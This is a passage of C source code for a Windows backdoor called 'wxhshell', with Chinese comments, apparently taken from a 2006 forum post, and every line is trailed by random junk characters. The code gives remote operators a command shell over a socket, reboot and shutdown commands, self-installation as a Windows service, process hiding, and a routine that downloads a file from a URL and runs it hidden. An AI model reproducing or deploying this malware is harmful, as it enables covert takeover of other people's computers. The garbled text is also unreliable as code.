  N:d D*[QZ  
  // 帮助 PJ}[D.elO  
  case '?': { Ae.]F)w_\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `P#8(GU  
    break; dbg|V oNf  
  } tgc@7  
  // 安装 We|-5  
  case 'i': { [1mIdwS  
    if(Install()) bIq-1 Y(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1BTgGF  
    else wqf&i^_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H8( C>w-'  
    break; I>\}}!  
    } /m;O;2"  
  // 卸载 ^fG`DjA)  
  case 'r': {  KzIt  
    if(Uninstall()) EmF]W+!z%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BSjbnnW}"  
    else cj`#Tg.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y{:]sHyG  
    break; #DrZ`Aq  
    } t&8<k+m  
  // 显示 wxhshell 所在路径 v]l&dgoT  
  case 'p': { @ca#U-:g  
    char svExeFile[MAX_PATH]; %+D-y+hn  
    strcpy(svExeFile,"\n\r"); Feh"!k <6k  
      strcat(svExeFile,ExeFile); O\3r%=TF  
        send(wsh,svExeFile,strlen(svExeFile),0); 5c*p2:]  
    break; .QNjeMu.  
    } sb8z_3   
  // 重启 {6-;P#Q0_  
  case 'b': { U.d'a~pH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W<Bxm|  
    if(Boot(REBOOT)) WNCM|VUl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); InAU\! ew  
    else { &@-1 "-H  
    closesocket(wsh); 'O!Z:-qE  
    ExitThread(0); *pDXcURw  
    } vcaBL<io  
    break; tU8g(ep,o  
    } *2w_oKE'+5  
  // 关机 BDarJY  
  case 'd': { "US" `a2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p_D on3  
    if(Boot(SHUTDOWN)) !&1}w86  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Zf :R  
    else { 5q0BG!A%T  
    closesocket(wsh); PR48~K,?  
    ExitThread(0); &':UlzG  
    } _|Y.!ZRYP  
    break; O('i*o4!}  
    } +!mNm?H[!  
  // 获取shell ,%"\\#3S  
  case 's': { PPuXas?i  
    CmdShell(wsh); e'}ePvN  
    closesocket(wsh); P wt ?9I  
    ExitThread(0); Hsd|ka$x>  
    break; ==PQ-Ia  
  } 6E)uu; 8  
  // 退出 zLJ:U`uh\  
  case 'x': { 4\ uZKv@,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GU;TK'Yy?  
    CloseIt(wsh); ~Q.8 U3"  
    break;  tH<9  
    } A>&>6O4  
  // 离开 XcJ'm{=   
  case 'q': { Ivd[U`=Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P?W T)C2)u  
    closesocket(wsh); 6T} CPDRq  
    WSACleanup(); !ch[I#&J-  
    exit(1); cNuuzA  
    break; ?%8})^Dd>4  
        } 5VoOJ_hq  
  } @xW"rX#7f  
  } :yFTaniJ'.  
4N%2w(,+8  
  // 提示信息 Qw{\sCH>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nd]%ati?  
} g-{<v4NGI  
  } &t9XK8S  
jl 30\M7  
  return; "p6:ekw  
} /v|68x6  
8h@)9Q]d\  
// shell模块句柄 709Uv5  
int CmdShell(SOCKET sock) 5@r_<J<>  
{ #:Sy`G6!?  
STARTUPINFO si; nIN%<3U2  
ZeroMemory(&si,sizeof(si)); |=h)efo}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X'3`Q S:!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `pv89aO  
PROCESS_INFORMATION ProcessInfo; ]B-$p p  
char cmdline[]="cmd"; k1LtqV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5LhJ8$W  
  return 0; J*q=C%}.  
} w7*b}D@65\  
u;'<- _  
// 自身启动模式 -$]DO5fY  
int StartFromService(void) Oa_o"p<Lr  
{ 6GrMcI@hS  
typedef struct ]cGz~TN~  
{ gQ@Pw4bA  
  DWORD ExitStatus; UV *tO15i  
  DWORD PebBaseAddress; #&`WMLl+8  
  DWORD AffinityMask; <DlanczziF  
  DWORD BasePriority; ? /|@ #&  
  ULONG UniqueProcessId; *l'$pJ X  
  ULONG InheritedFromUniqueProcessId; JXy667_  
}   PROCESS_BASIC_INFORMATION; MF`k~)bDV  
by:xD2 5  
PROCNTQSIP NtQueryInformationProcess; C4SD  
M]/wei"X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N mjBJ_G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rEpKX  
1n5e^'z  
  HANDLE             hProcess; n+F-,=0  
  PROCESS_BASIC_INFORMATION pbi; j C1^>D  
ka9v2tE\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4[V6so0  
  if(NULL == hInst ) return 0; 7J!d3j2TR  
mX_Uhpw?t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -Fw4;&>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [\%t<aa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qD>Y}Z !  
$O</akn;  
  if (!NtQueryInformationProcess) return 0; /$4?.qtu  
+so o2cb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YrcC"  
  if(!hProcess) return 0; }d*sWSPu(  
uKAHJ$%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d?qO`- ~$  
w.F3o4YP  
  CloseHandle(hProcess); #FDu 4xi  
Z 7ZMu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g8 *|" {  
if(hProcess==NULL) return 0; H&Lbdu~E  
7X3l&J2C4l  
HMODULE hMod; $MEbePxe  
char procName[255]; ]{,=mOk  
unsigned long cbNeeded; xu pdjT%4  
T-cVM>u\D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yaGVY*M0  
{1&,6kJF&9  
  CloseHandle(hProcess); dz.MH  
\Nn%*?f  
if(strstr(procName,"services")) return 1; // 以服务启动 DG9;6"HBX  
fOfz^W  
  return 0; // 注册表启动 j%<@ui u  
} x};g!FYfkB  
w [x+2  
// 主模块 2Yf;b9-k  
int StartWxhshell(LPSTR lpCmdLine) ^[NmNi*  
{ v%e"4:K}?  
  SOCKET wsl; c oz}VMp  
BOOL val=TRUE; cG"<*Xi<  
  int port=0; ,>%r|YSJ)  
  struct sockaddr_in door; W@}5e-q)O  
G7{:d  
  if(wscfg.ws_autoins) Install(); 6Z}))*3 9  
iiFKt(  
port=atoi(lpCmdLine); 7i8qB462  
g2_df3Q  
if(port<=0) port=wscfg.ws_port; '0]_8Sy&  
;lt;]7  
  WSADATA data; JKbB,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t$5]1dY$X  
!{0!G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e;3 (,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a6#PZ!1  
  door.sin_family = AF_INET; c$z_Zi!g#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); daNIP1Qn  
  door.sin_port = htons(port); u^[v{hv'H  
FaM~ 56Pa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~q>ilnL"h  
closesocket(wsl); $KFWV2P  
return 1; }7v2GfEkM  
} eci\Q,   
AVZ@?aJgF  
  if(listen(wsl,2) == INVALID_SOCKET) { oOz6Er[KO  
closesocket(wsl); A*i_- ;W)  
return 1; xK ux5u _  
} V(0[QA  
  Wxhshell(wsl); Uij$ eBN  
  WSACleanup(); K; lC#  
)HE yTHLtJ  
return 0; B9-=.2.WU  
~h.B\Sc]Q  
} ugP R)tDfM  
NQD b;5:  
// 以NT服务方式启动 Q+dI,5YF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9-SXu lgu  
{ HOG7||&y  
DWORD   status = 0; oPir]` re  
  DWORD   specificError = 0xfffffff; ~3 (>_r  
p04w 83 jX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P&;I]2#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zYsGI<4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |<$O5b'  
  serviceStatus.dwWin32ExitCode     = 0; jL$X3QS:  
  serviceStatus.dwServiceSpecificExitCode = 0; rz*Jmn b  
  serviceStatus.dwCheckPoint       = 0; C5z4%,`f  
  serviceStatus.dwWaitHint       = 0; \ZH=$c*W  
Mt`.|N;y!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {HeMdGn9  
  if (hServiceStatusHandle==0) return; =t2epIr 5  
%h rR'*nG  
status = GetLastError(); #96a7K  
  if (status!=NO_ERROR)  O(!'V~3  
{ 3*<W`yed  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C&gJP7UF  
    serviceStatus.dwCheckPoint       = 0; _QY "#  
    serviceStatus.dwWaitHint       = 0;  VM`."un]  
    serviceStatus.dwWin32ExitCode     = status; T5)?6i -N  
    serviceStatus.dwServiceSpecificExitCode = specificError; *:(t.iL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BlCKJp{m$  
    return; 04:Dbt~=?p  
  } !O*n6}nPE  
JYq} YG=%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sr4K-|@  
  serviceStatus.dwCheckPoint       = 0; S{ !hpq~o  
  serviceStatus.dwWaitHint       = 0; "$_ypgRrSR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _4+1c5Q!  
} 7VraWW`H'  
O{PRK5^h  
// 处理NT服务事件,比如:启动、停止 )? xg=o/?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4|qp&%9-  
{ `{%*DHa  
switch(fdwControl) d hy=x  
{ TocqoYX{{  
case SERVICE_CONTROL_STOP: K^+B"  
  serviceStatus.dwWin32ExitCode = 0; YA jk'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UOyP6ej  
  serviceStatus.dwCheckPoint   = 0; h!MT5B)r.  
  serviceStatus.dwWaitHint     = 0; Tn|re Xc0e  
  { KE_Ze\ P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .*,ZcO  
  } Z'E@sc 9  
  return; Z(s} #-  
case SERVICE_CONTROL_PAUSE: ]TQjk{X<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =vWnqF:  
  break; j2z$kw%  
case SERVICE_CONTROL_CONTINUE: Pdv&X*KA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ${?Px c{-  
  break; {VFp fo  
case SERVICE_CONTROL_INTERROGATE: `JC!uc  
  break; x-"7{@lz  
}; ^m~=<4eX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *oF{ R^  
} 9X-DR  
c;WS !.  
// 标准应用程序主函数 lm+wjhkN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _ &T$0SZco  
{ }.Ug`7%G  
E^  rN)  
// 获取操作系统版本 Ruf*aF(  
OsIsNt=GetOsVer(); >+1bTt/-F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); - na]P3 s  
Gce![<|ph  
  // 从命令行安装 DP?gozm  
  if(strpbrk(lpCmdLine,"iI")) Install(); |i|O9^*%  
%c&h:7);  
  // 下载执行文件 aW"BN 5eM>  
if(wscfg.ws_downexe) { f}fM%0/5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hfY2pG9N  
  WinExec(wscfg.ws_filenam,SW_HIDE); {BF$N#7  
} -1@kt<Es  
:5dq<>~  
if(!OsIsNt) { ^*ZO@GNL  
// 如果时win9x,隐藏进程并且设置为注册表启动 a+Z/=YUR  
HideProc(); Wg#>2)>  
StartWxhshell(lpCmdLine); p}h)WjC  
} KjhOz%Yt[o  
else m49)cK?  
  if(StartFromService()) LE Y$St  
  // 以服务方式启动 $:>K-4X\}  
  StartServiceCtrlDispatcher(DispatchTable); Eg ;r]?|6  
else (*#S%4(YX  
  // 普通方式启动 wE'~Qj  
  StartWxhshell(lpCmdLine); T8v>J4@t  
W&* 0F~  
return 0; Zb@PwH4  
}
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只看该作者 1 发表于: 2006-10-10
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